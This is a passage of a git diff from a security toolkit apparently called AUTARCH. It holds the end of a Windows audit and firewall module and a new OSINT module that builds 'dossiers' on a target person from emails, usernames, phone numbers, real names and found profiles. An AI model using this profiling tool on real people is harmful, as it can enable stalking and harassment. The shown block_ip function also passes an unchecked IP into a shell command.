Ports", False, + f"Open: {', '.join(high_risk)}") + else: + self.check("High-Risk Ports", True, + f"{len(lines)} services listening, no high-risk ports") + else: + self.check("High-Risk Ports", True, "Could not enumerate ports") + + def check_updates(self): + """Check Windows update status.""" + success, output = self.run_ps( + "Get-HotFix | Sort-Object InstalledOn -Descending " + "| Select-Object -First 1 -ExpandProperty InstalledOn" + ) + if success and output.strip(): + self.check("System Updates", True, + f"Last update installed: {output.strip()}") + else: + success, output = self.run_ps("(Get-HotFix).Count") + if success and output.strip(): + self.check("System Updates", True, + f"{output.strip()} hotfixes installed") + else: + self.check("System Updates", False, "Could not query update status") + + def check_users(self): + """Check Windows user security.""" + # Admin accounts + success, output = self.run_ps( + "Get-LocalGroupMember -Group 'Administrators' -ErrorAction SilentlyContinue " + "| Select-Object -ExpandProperty Name" + ) + if success: + admins = [u.strip() for u in output.split('\n') if u.strip()] + self.check("Admin Accounts", len(admins) <= 2, + f"Admin users: {', '.join(admins)}") + + # Enabled accounts with no password required + success, output = self.run_ps( + "Get-LocalUser | Where-Object {$_.Enabled -eq $true -and $_.PasswordRequired -eq $false} " + "| Select-Object -ExpandProperty Name" + ) + if success: + no_pw = [u.strip() for u in output.split('\n') if u.strip()] + self.check("Password Required", len(no_pw) == 0, + f"No password required: {', '.join(no_pw)}" if no_pw else "All accounts require passwords") + + # Guest account + success, output = self.run_ps("(Get-LocalUser -Name 'Guest' -ErrorAction SilentlyContinue).Enabled") + if success: + guest_enabled = output.strip().lower() == 'true' + self.check("Guest Account Disabled", not guest_enabled, + "Guest account is enabled" if guest_enabled else "Guest account disabled") + + def check_permissions(self): + """Check critical Windows file/folder permissions.""" + critical_paths = [ + (os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\config', "SAM Registry Hive"), + (os.environ.get('ProgramData', 'C:\\ProgramData') + '\\ssh', "SSH Config Dir"), + ] + for filepath, label in critical_paths: + if os.path.exists(filepath): + success, output = self.run_cmd(f'icacls "{filepath}"') + if success: + has_everyone_full = 'Everyone:(F)' in output or 'Everyone:(OI)(CI)(F)' in output + self.check(f"Permissions: {label}", not has_everyone_full, + f"Everyone has Full Control on {filepath}" if has_everyone_full else "Restricted") + + def check_services(self): + """Check for dangerous or unnecessary Windows services.""" + dangerous = { + "RemoteRegistry": "Remote Registry", + "TlntSvr": "Telnet Server", + "SNMP": "SNMP Service", + "W3SVC": "IIS Web Server", + "FTPSVC": "FTP Server", + "SharedAccess": "Internet Connection Sharing", + } + running = [] + for svc_name, label in dangerous.items(): + success, output = self.run_ps( + f"(Get-Service -Name '{svc_name}' -ErrorAction SilentlyContinue).Status" + ) + if success and 'Running' in output: + running.append(label) + + self.check("Dangerous Services", len(running) == 0, + f"Running: {', '.join(running)}" if running else "No dangerous services running") + + def check_defender(self): + """Check Windows Defender antivirus status.""" + success, output = self.run_ps( + "Get-MpComputerStatus -ErrorAction SilentlyContinue " + "| Select-Object AntivirusEnabled, RealTimeProtectionEnabled, " + "AntivirusSignatureLastUpdated | Format-List" + ) + if success: + av_on = re.search(r'AntivirusEnabled\s*:\s*True', output) + rt_on = re.search(r'RealTimeProtectionEnabled\s*:\s*True', output) + + if av_on and rt_on: + sig_match = re.search(r'AntivirusSignatureLastUpdated\s*:\s*(.+)', output) + sig_date = sig_match.group(1).strip() if sig_match else "Unknown" + self.check("Windows Defender", True, + f"AV enabled, real-time protection on. Signatures: {sig_date}") + elif av_on: + self.check("Windows Defender", False, + "AV enabled but real-time protection is OFF") + else: + self.check("Windows Defender", False, "Windows Defender is disabled") + else: + self.check("Windows Defender", False, "Could not query Defender status") + + def check_uac(self): + """Check UAC (User Account Control) status.""" + success, output = self.run_ps( + "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' " + "-Name EnableLUA -ErrorAction SilentlyContinue).EnableLUA" + ) + if success: + enabled = output.strip() == '1' + self.check("UAC Enabled", enabled, + "UAC is enabled" if enabled else "UAC is DISABLED — critical security risk") + + success, output = self.run_ps( + "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' " + "-Name ConsentPromptBehaviorAdmin -ErrorAction SilentlyContinue).ConsentPromptBehaviorAdmin" + ) + if success and output.strip().isdigit(): + level = int(output.strip()) + level_names = { + 0: "Never notify (DANGEROUS)", + 1: "Prompt on secure desktop (no dimming)", + 2: "Prompt on secure desktop", + 3: "Prompt for credentials", + 4: "Prompt for consent", + 5: "Prompt for consent (default)" + } + desc = level_names.get(level, f"Unknown level: {level}") + self.check("UAC Prompt Level", level >= 2, desc) + + # ==================== FIREWALL MANAGEMENT ==================== + + def get_firewall_rules(self): + """Get all Windows Firewall inbound rules.""" + success, output = self.run_cmd( + "netsh advfirewall firewall show rule name=all dir=in" + ) + return success, output + + def block_ip(self, ip): + """Block an IP via Windows Firewall.""" + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + return success, f"Blocked {ip}" if success else f"Failed to block {ip} (need admin privileges)" + + def unblock_ip(self, ip): + """Unblock an IP via Windows Firewall.""" + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall delete rule name="{rule_name}"' + ) + return success, f"Unblocked {ip}" if success else f"Failed to unblock {ip}" + + # ==================== EVENT LOG ANALYSIS ==================== + + def analyze_event_logs(self): + """Analyze Windows Security and System event logs.""" + # Failed logins (Event ID 4625) + success, output = self.run_ps( + "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} " + "-MaxEvents 500 -ErrorAction SilentlyContinue | " + "Select-Object TimeCreated, @{N='IP';E={$_.Properties[19].Value}}, " + "@{N='User';E={$_.Properties[5].Value}} | " + "Group-Object IP | Sort-Object Count -Descending | " + "Select-Object Count, Name, @{N='Users';E={($_.Group.User | Select-Object -Unique) -join ','}} | " + "ConvertTo-Json" + ) + auth_results = [] + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + auth_results.append({ + 'ip': entry.get('Name', 'Unknown'), + 'count': entry.get('Count', 0), + 'usernames': (entry.get('Users', '') or '').split(','), + }) + except json.JSONDecodeError: + pass + + # System warnings/errors + success, output = self.run_ps( + "Get-WinEvent -FilterHashtable @{LogName='System'; Level=1,2,3} " + "-MaxEvents 50 -ErrorAction SilentlyContinue | " + "Select-Object TimeCreated, Id, LevelDisplayName, Message | " + "ConvertTo-Json" + ) + system_results = [] + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data[:20]: + system_results.append({ + 'type': entry.get('LevelDisplayName', 'Warning'), + 'id': entry.get('Id', 0), + 'time': str(entry.get('TimeCreated', '')), + 'detail': (entry.get('Message', '') or '')[:200], + 'severity': 'HIGH' if entry.get('LevelDisplayName') in ('Critical', 'Error') else 'MEDIUM', + }) + except json.JSONDecodeError: + pass + + return auth_results, system_results + + +# ==================== CLI MENU ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.BLUE}Windows System Defense{Colors.RESET}\n") + + d = WindowsDefender() + print(f"{Colors.CYAN}Running Windows security audit...{Colors.RESET}\n") + + d.check_firewall() + d.check_ssh_config() + d.check_open_ports() + d.check_updates() + d.check_users() + d.check_permissions() + d.check_services() + d.check_defender() + d.check_uac() + + passed = sum(1 for r in d.results if r['passed']) + total = len(d.results) + score = int((passed / total) * 100) if total > 0 else 0 + + print(f"\n{'=' * 50}") + color = Colors.GREEN if score >= 80 else Colors.YELLOW if score >= 50 else Colors.RED + print(f"{color}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}") + print(f"{'=' * 50}\n") + + input("Press Enter to continue...") diff --git a/modules/dossier.py b/modules/dossier.py new file mode 100644 index 0000000..acdbf97 --- /dev/null +++ b/modules/dossier.py @@ -0,0 +1,803 @@ +""" +AUTARCH Dossier Module +Manage and correlate OSINT investigation data + +Create dossiers to associate related OSINT findings like email searches, +username scans, phone lookups, and custom notes. +""" + +import os +import sys +import json +import glob +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional + +# Module metadata +NAME = "Dossier" +DESCRIPTION = "Manage OSINT investigation dossiers" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class DossierManager: + """Manage OSINT investigation dossiers.""" + + def __init__(self): + from core.paths import get_dossiers_dir + self.dossier_dir = get_dossiers_dir() + self.dossier_dir.mkdir(exist_ok=True) + self.current_dossier = None + self.current_dossier_path = None + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + # ==================== DOSSIER OPERATIONS ==================== + + def _generate_dossier_id(self, name: str) -> str: + """Generate a unique dossier ID from name.""" + # Sanitize name for filename + safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower()) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + return f"{safe_name}_{timestamp}" + + def _get_dossier_path(self, dossier_id: str) -> Path: + """Get path to dossier file.""" + return self.dossier_dir / f"{dossier_id}.json" + + def _create_empty_dossier(self, name: str, subject: str = "", notes: str = "") -> Dict: + """Create a new empty dossier structure.""" + return { + "meta": { + "name": name, + "subject": subject, + "created": datetime.now().isoformat(), + "modified": datetime.now().isoformat(), + "notes": notes, + }, + "identifiers": { + "emails": [], + "usernames": [], + "phones": [], + "real_names": [], + "aliases": [], + }, + "results": { + "email_searches": [], + "username_searches": [], + "phone_searches": [], + }, + "profiles": [], + "custom_notes": [], + } + + def save_dossier(self, dossier: Dict, path: Path) -> bool: + """Save dossier to file.""" + try: + dossier["meta"]["modified"] = datetime.now().isoformat() + with open(path, 'w') as f: + json.dump(dossier, f, indent=2) + return True + except Exception as e: + self.print_status(f"Failed to save dossier: {e}", "error") + return False + + def load_dossier(self, path: Path) -> Optional[Dict]: + """Load dossier from file.""" + try: + with open(path, 'r') as f: + return json.load(f) + except Exception as e: + self.print_status(f"Failed to load dossier: {e}", "error") + return None + + def list_dossiers(self) -> List[Dict]: + """List all saved dossiers.""" + dossiers = [] + for file in self.dossier_dir.glob("*.json"): + try: + with open(file, 'r') as f: + data = json.load(f) + dossiers.append({ + "path": file, + "id": file.stem, + "name": data.get("meta", {}).get("name", "Unknown"), + "subject": data.get("meta", {}).get("subject", ""), + "created": data.get("meta", {}).get("created", ""), + "modified": data.get("meta", {}).get("modified", ""), + "profiles_count": len(data.get("profiles", [])), + "identifiers_count": sum(len(v) for v in data.get("identifiers", {}).values()), + }) + except: + continue + return sorted(dossiers, key=lambda x: x.get("modified", ""), reverse=True) + + # ==================== UI METHODS ==================== + + def create_new_dossier(self): + """Interactive dossier creation.""" + print(f"\n{Colors.BOLD}Create New Dossier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = input(f"{Colors.WHITE}Dossier name: {Colors.RESET}").strip() + if not name: + self.print_status("Dossier name is required", "error") + return + + subject = input(f"{Colors.WHITE}Subject (target name/identifier): {Colors.RESET}").strip() + notes = input(f"{Colors.WHITE}Initial notes (optional): {Colors.RESET}").strip() + + # Create dossier + dossier_id = self._generate_dossier_id(name) + dossier_path = self._get_dossier_path(dossier_id) + dossier = self._create_empty_dossier(name, subject, notes) + + # Prompt for initial identifiers + print(f"\n{Colors.CYAN}Add initial identifiers (press Enter to skip):{Colors.RESET}") + + emails = input(f"{Colors.WHITE} Email(s) (comma-separated): {Colors.RESET}").strip() + if emails: + dossier["identifiers"]["emails"] = [e.strip() for e in emails.split(",") if e.strip()] + + usernames = input(f"{Colors.WHITE} Username(s) (comma-separated): {Colors.RESET}").strip() + if usernames: + dossier["identifiers"]["usernames"] = [u.strip() for u in usernames.split(",") if u.strip()] + + phones = input(f"{Colors.WHITE} Phone(s) (comma-separated): {Colors.RESET}").strip() + if phones: + dossier["identifiers"]["phones"] = [p.strip() for p in phones.split(",") if p.strip()] + + real_names = input(f"{Colors.WHITE} Real name(s) (comma-separated): {Colors.RESET}").strip() + if real_names: + dossier["identifiers"]["real_names"] = [n.strip() for n in real_names.split(",") if n.strip()] + + # Save dossier + if self.save_dossier(dossier, dossier_path): + self.print_status(f"Dossier created: {dossier_id}", "success") + self.current_dossier = dossier + self.current_dossier_path = dossier_path + + # Ask if user wants to open it + open_now = input(f"\n{Colors.WHITE}Open dossier now? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if open_now == 'y': + self.view_dossier_detail(dossier, dossier_path) + + def view_dossiers_list(self): + """Display list of saved dossiers.""" + print(f"\n{Colors.BOLD}Saved Dossiers{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + dossiers = self.list_dossiers() + + if not dossiers: + self.print_status("No dossiers found. Create one with 'Start New'.", "warning") + return + + for i, d in enumerate(dossiers, 1): + created = d.get("created", "")[:10] if d.get("created") else "Unknown" + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {d['name']}") + print(f" {Colors.DIM}Subject: {d.get('subject') or 'N/A'}{Colors.RESET}") + print(f" {Colors.DIM}Created: {created} | Profiles: {d['profiles_count']} | Identifiers: {d['identifiers_count']}{Colors.RESET}") + print() + + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE}Select dossier to view: {Colors.RESET}").strip() + + if choice == "0" or not choice: + return + + try: + idx = int(choice) - 1 + if 0 <= idx < len(dossiers): + selected = dossiers[idx] + dossier = self.load_dossier(selected["path"]) + if dossier: + self.view_dossier_detail(dossier, selected["path"]) + except ValueError: + self.print_status("Invalid selection", "error") + + def view_dossier_detail(self, dossier: Dict, dossier_path: Path): + """View and manage a specific dossier.""" + self.current_dossier = dossier + self.current_dossier_path = dossier_path + + while True: + clear_screen() + display_banner() + + meta = dossier.get("meta", {}) + identifiers = dossier.get("identifiers", {}) + results = dossier.get("results", {}) + profiles = dossier.get("profiles", []) + + print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier: {meta.get('name', 'Unknown')}{Colors.RESET}") + print(f"{Colors.DIM} Subject: {meta.get('subject') or 'N/A'}{Colors.RESET}") + print(f"{Colors.DIM} Created: {meta.get('created', '')[:19]}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Summary stats + total_identifiers = sum(len(v) for v in identifiers.values()) + total_searches = sum(len(v) for v in results.values()) + + print(f" {Colors.CYAN}Summary:{Colors.RESET}") + print(f" Identifiers: {total_identifiers}") + print(f" Searches: {total_searches}") + print(f" Profiles: {len(profiles)}") + print() + + # Menu + print(f" {Colors.GREEN}View{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} View Identifiers") + print(f" {Colors.GREEN}[2]{Colors.RESET} View Search Results") + print(f" {Colors.GREEN}[3]{Colors.RESET} View Profiles") + print(f" {Colors.GREEN}[4]{Colors.RESET} View Notes") + print() + print(f" {Colors.CYAN}Add{Colors.RESET}") + print(f" {Colors.CYAN}[5]{Colors.RESET} Add Identifier") + print(f" {Colors.CYAN}[6]{Colors.RESET} Import Search Results") + print(f" {Colors.CYAN}[7]{Colors.RESET} Add Profile Manually") + print(f" {Colors.CYAN}[8]{Colors.RESET} Add Note") + print() + print(f" {Colors.YELLOW}Manage{Colors.RESET}") + print(f" {Colors.YELLOW}[E]{Colors.RESET} Edit Dossier Info") + print(f" {Colors.YELLOW}[X]{Colors.RESET} Export Dossier") + print(f" {Colors.RED}[D]{Colors.RESET} Delete Dossier") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "1": + self._view_identifiers(dossier) + elif choice == "2": + self._view_search_results(dossier) + elif choice == "3": + self._view_profiles(dossier) + elif choice == "4": + self._view_notes(dossier) + elif choice == "5": + self._add_identifier(dossier, dossier_path) + elif choice == "6": + self._import_search_results(dossier, dossier_path) + elif choice == "7": + self._add_profile_manually(dossier, dossier_path) + elif choice == "8": + self._add_note(dossier, dossier_path) + elif choice == "e": + self._edit_dossier_info(dossier, dossier_path) + elif choice == "x": + self._export_dossier(dossier) + elif choice == "d": + if self._delete_dossier(dossier_path): + break + + def _view_identifiers(self, dossier: Dict): + """View all identifiers in dossier.""" + print(f"\n{Colors.BOLD}Identifiers{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + identifiers = dossier.get("identifiers", {}) + + for id_type, values in identifiers.items(): + if values: + print(f" {Colors.CYAN}{id_type.replace('_', ' ').title()}:{Colors.RESET}") + for v in values: + print(f" - {v}") + print() + + if not any(identifiers.values()): + print(f" {Colors.DIM}No identifiers added yet.{Colors.RESET}\n") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_search_results(self, dossier: Dict): + """View search results summary.""" + print(f"\n{Colors.BOLD}Search Results{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + results = dossier.get("results", {}) + + # Email searches + email_searches = results.get("email_searches", []) + if email_searches: + print(f" {Colors.CYAN}Email Searches ({len(email_searches)}):{Colors.RESET}") + for search in email_searches: + print(f" - {search.get('email', 'N/A')} ({search.get('date', '')[:10]})") + print() + + # Username searches + username_searches = results.get("username_searches", []) + if username_searches: + print(f" {Colors.CYAN}Username Searches ({len(username_searches)}):{Colors.RESET}") + for search in username_searches: + found_count = len(search.get("found", [])) + print(f" - {search.get('username', 'N/A')}: {found_count} profiles found ({search.get('date', '')[:10]})") + print() + + # Phone searches + phone_searches = results.get("phone_searches", []) + if phone_searches: + print(f" {Colors.CYAN}Phone Searches ({len(phone_searches)}):{Colors.RESET}") + for search in phone_searches: + print(f" - {search.get('phone', 'N/A')} ({search.get('date', '')[:10]})") + print() + + if not any([email_searches, username_searches, phone_searches]): + print(f" {Colors.DIM}No search results imported yet.{Colors.RESET}\n") + + # Option to view details + if username_searches: + view = input(f"\n{Colors.WHITE}View username search details? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if view == 'y': + self._view_username_search_details(username_searches) + else: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_username_search_details(self, username_searches: List[Dict]): + """View detailed username search results.""" + print(f"\n{Colors.BOLD}Username Search Details{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + for i, search in enumerate(username_searches, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {search.get('username', 'N/A')}") + + choice = input(f"\n{Colors.WHITE}Select search to view (0 to cancel): {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(username_searches): + search = username_searches[idx] + print(f"\n{Colors.BOLD}Results for '{search.get('username', 'N/A')}'{Colors.RESET}") + print(f"{Colors.DIM}Date: {search.get('date', 'N/A')}{Colors.RESET}") + print(f"{Colors.DIM}Total checked: {search.get('total_checked', 'N/A')}{Colors.RESET}\n") + + for profile in search.get("found", []): + status_color = Colors.GREEN if profile.get("status") == "good" else Colors.YELLOW + print(f" {status_color}[+]{Colors.RESET} {profile.get('name', 'Unknown')}") + print(f" {Colors.DIM}{profile.get('url', 'N/A')}{Colors.RESET}") + if profile.get("rate"): + print(f" {Colors.DIM}Rate: {profile.get('rate')}{Colors.RESET}") + print() + except (ValueError, IndexError): + pass + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_profiles(self, dossier: Dict): + """View all collected profiles.""" + print(f"\n{Colors.BOLD}Profiles{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + profiles = dossier.get("profiles", []) + + if not profiles: + print(f" {Colors.DIM}No profiles collected yet.{Colors.RESET}\n") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Group by category + by_category = {} + for p in profiles: + cat = p.get("category", "other") + if cat not in by_category: + by_category[cat] = [] + by_category[cat].append(p) + + for category, cat_profiles in sorted(by_category.items()): + print(f" {Colors.CYAN}{category.title()} ({len(cat_profiles)}):{Colors.RESET}") + for p in cat_profiles: + status_color = Colors.GREEN if p.get("status") == "good" else Colors.YELLOW + print(f" {status_color}[+]{Colors.RESET} {p.get('name', 'Unknown')}") + print(f" {Colors.DIM}{p.get('url', 'N/A')}{Colors.RESET}") + print() + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_notes(self, dossier: Dict): + """View dossier notes.""" + print(f"\n{Colors.BOLD}Notes{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + # Main notes + main_notes = dossier.get("meta", {}).get("notes", "") + if main_notes: + print(f" {Colors.CYAN}Main Notes:{Colors.RESET}") + print(f" {main_notes}") + print() + + # Custom notes + custom_notes = dossier.get("custom_notes", []) + if custom_notes: + print(f" {Colors.CYAN}Additional Notes:{Colors.RESET}") + for note in custom_notes: + print(f" [{note.get('date', '')[:10]}] {note.get('text', '')}") + print() + + if not main_notes and not custom_notes: + print(f" {Colors.DIM}No notes added yet.{Colors.RESET}\n") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _add_identifier(self, dossier: Dict, dossier_path: Path): + """Add an identifier to dossier.""" + print(f"\n{Colors.BOLD}Add Identifier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Email") + print(f" {Colors.GREEN}[2]{Colors.RESET} Username") + print(f" {Colors.GREEN}[3]{Colors.RESET} Phone") + print(f" {Colors.GREEN}[4]{Colors.RESET} Real Name") + print(f" {Colors.GREEN}[5]{Colors.RESET} Alias") + print() + + choice = input(f"{Colors.WHITE}Select type: {Colors.RESET}").strip() + + type_map = {"1": "emails", "2": "usernames", "3": "phones", "4": "real_names", "5": "aliases"} + + if choice not in type_map: + return + + id_type = type_map[choice] + value = input(f"{Colors.WHITE}Enter value: {Colors.RESET}").strip() + + if value: + if "identifiers" not in dossier: + dossier["identifiers"] = {} + if id_type not in dossier["identifiers"]: + dossier["identifiers"][id_type] = [] + + if value not in dossier["identifiers"][id_type]: + dossier["identifiers"][id_type].append(value) + self.save_dossier(dossier, dossier_path) + self.print_status(f"Added {id_type[:-1]}: {value}", "success") + else: + self.print_status("Identifier already exists", "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _import_search_results(self, dossier: Dict, dossier_path: Path): + """Import search results from JSON files.""" + print(f"\n{Colors.BOLD}Import Search Results{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Import username search results (JSON)") + print(f" {Colors.GREEN}[2]{Colors.RESET} Import from file path") + print(f" {Colors.GREEN}[3]{Colors.RESET} Scan current directory for results") + print() + + choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + + if choice == "1" or choice == "2": + file_path = input(f"{Colors.WHITE}Enter JSON file path: {Colors.RESET}").strip() + if file_path and os.path.exists(file_path): + self._import_from_file(dossier, dossier_path, file_path) + else: + self.print_status("File not found", "error") + + elif choice == "3": + # Scan for *_profiles.json files + json_files = glob.glob("*_profiles.json") + if not json_files: + self.print_status("No *_profiles.json files found in current directory", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n {Colors.CYAN}Found files:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {f}") + print() + + file_choice = input(f"{Colors.WHITE}Select file to import (0 to cancel): {Colors.RESET}").strip() + try: + idx = int(file_choice) - 1 + if 0 <= idx < len(json_files): + self._import_from_file(dossier, dossier_path, json_files[idx]) + except ValueError: + pass + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _import_from_file(self, dossier: Dict, dossier_path: Path, file_path: str): + """Import data from a specific file.""" + try: + with open(file_path, 'r') as f: + data = json.load(f) + + # Detect file type and import + if "username" in data and "found" in data: + # Username search results + username = data.get("username", "unknown") + found = data.get("found", []) + total_checked = data.get("total_checked", 0) + + # Add to results + if "results" not in dossier: + dossier["results"] = {} + if "username_searches" not in dossier["results"]: + dossier["results"]["username_searches"] = [] + + search_entry = { + "username": username, + "date": datetime.now().isoformat(), + "total_checked": total_checked, + "found": found, + "source_file": file_path, + } + dossier["results"]["username_searches"].append(search_entry) + + # Also add username to identifiers if not present + if username not in dossier.get("identifiers", {}).get("usernames", []): + if "identifiers" not in dossier: + dossier["identifiers"] = {} + if "usernames" not in dossier["identifiers"]: + dossier["identifiers"]["usernames"] = [] + dossier["identifiers"]["usernames"].append(username) + + # Add found profiles to main profiles list + if "profiles" not in dossier: + dossier["profiles"] = [] + + added_profiles = 0 + for profile in found: + # Check if profile URL already exists + existing_urls = [p.get("url") for p in dossier["profiles"]] + if profile.get("url") not in existing_urls: + dossier["profiles"].append(profile) + added_profiles += 1 + + self.save_dossier(dossier, dossier_path) + self.print_status(f"Imported: {username} ({len(found)} profiles, {added_profiles} new)", "success") + + else: + self.print_status("Unknown file format", "error") + + except json.JSONDecodeError: + self.print_status("Invalid JSON file", "error") + except Exception as e: + self.print_status(f"Import failed: {e}", "error") + + def _add_profile_manually(self, dossier: Dict, dossier_path: Path): + """Manually add a profile.""" + print(f"\n{Colors.BOLD}Add Profile Manually{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = input(f"{Colors.WHITE}Site/platform name: {Colors.RESET}").strip() + url = input(f"{Colors.WHITE}Profile URL: {Colors.RESET}").strip() + category = input(f"{Colors.WHITE}Category (social/forum/other): {Colors.RESET}").strip() or "other" + notes = input(f"{Colors.WHITE}Notes (optional): {Colors.RESET}").strip() + + if name and url: + profile = { + "name": name, + "url": url, + "category": category, + "status": "manual", + "rate": "100%", + "notes": notes, + "added": datetime.now().isoformat(), + } + + if "profiles" not in dossier: + dossier["profiles"] = [] + + dossier["profiles"].append(profile) + self.save_dossier(dossier, dossier_path) + self.print_status(f"Added profile: {name}", "success") + else: + self.print_status("Name and URL are required", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _add_note(self, dossier: Dict, dossier_path: Path): + """Add a note to dossier.""" + print(f"\n{Colors.BOLD}Add Note{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + note_text = input(f"{Colors.WHITE}Enter note: {Colors.RESET}").strip() + + if note_text: + if "custom_notes" not in dossier: + dossier["custom_notes"] = [] + + dossier["custom_notes"].append({ + "date": datetime.now().isoformat(), + "text": note_text, + }) + + self.save_dossier(dossier, dossier_path) + self.print_status("Note added", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _edit_dossier_info(self, dossier: Dict, dossier_path: Path): + """Edit dossier metadata.""" + print(f"\n{Colors.BOLD}Edit Dossier Info{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + meta = dossier.get("meta", {}) + + print(f" Current name: {meta.get('name', '')}") + new_name = input(f"{Colors.WHITE}New name (Enter to keep): {Colors.RESET}").strip() + if new_name: + dossier["meta"]["name"] = new_name + + print(f" Current subject: {meta.get('subject', '')}") + new_subject = input(f"{Colors.WHITE}New subject (Enter to keep): {Colors.RESET}").strip() + if new_subject: + dossier["meta"]["subject"] = new_subject + + print(f" Current notes: {meta.get('notes', '')}") + new_notes = input(f"{Colors.WHITE}New notes (Enter to keep): {Colors.RESET}").strip() + if new_notes: + dossier["meta"]["notes"] = new_notes + + self.save_dossier(dossier, dossier_path) + self.print_status("Dossier info updated", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _export_dossier(self, dossier: Dict): + """Export dossier to various formats.""" + print(f"\n{Colors.BOLD}Export Dossier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = dossier.get("meta", {}).get("name", "dossier") + safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower()) + + print(f" {Colors.GREEN}[1]{Colors.RESET} Export as JSON") + print(f" {Colors.GREEN}[2]{Colors.RESET} Export as Text Report") + print() + + choice = input(f"{Colors.WHITE}Select format: {Colors.RESET}").strip() + + if choice == "1": + filename = f"{safe_name}_export.json" + with open(filename, 'w') as f: + json.dump(dossier, f, indent=2) + self.print_status(f"Exported to {filename}", "success") + + elif choice == "2": + filename = f"{safe_name}_report.txt" + self._export_text_report(dossier, filename) + self.print_status(f"Exported to {filename}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _export_text_report(self, dossier: Dict, filename: str): + """Export dossier as text report.""" + meta = dossier.get("meta", {}) + identifiers = dossier.get("identifiers", {}) + profiles = dossier.get("profiles", []) + + lines = [ + "=" * 60, + f"AUTARCH DOSSIER REPORT", + "=" * 60, + "", + f"Name: {meta.get('name', 'N/A')}", + f"Subject: {meta.get('subject', 'N/A')}", + f"Created: {meta.get('created', 'N/A')}", + f"Modified: {meta.get('modified', 'N/A')}", + "", + "-" * 60, + "IDENTIFIERS", + "-" * 60, + ] + + for id_type, values in identifiers.items(): + if values: 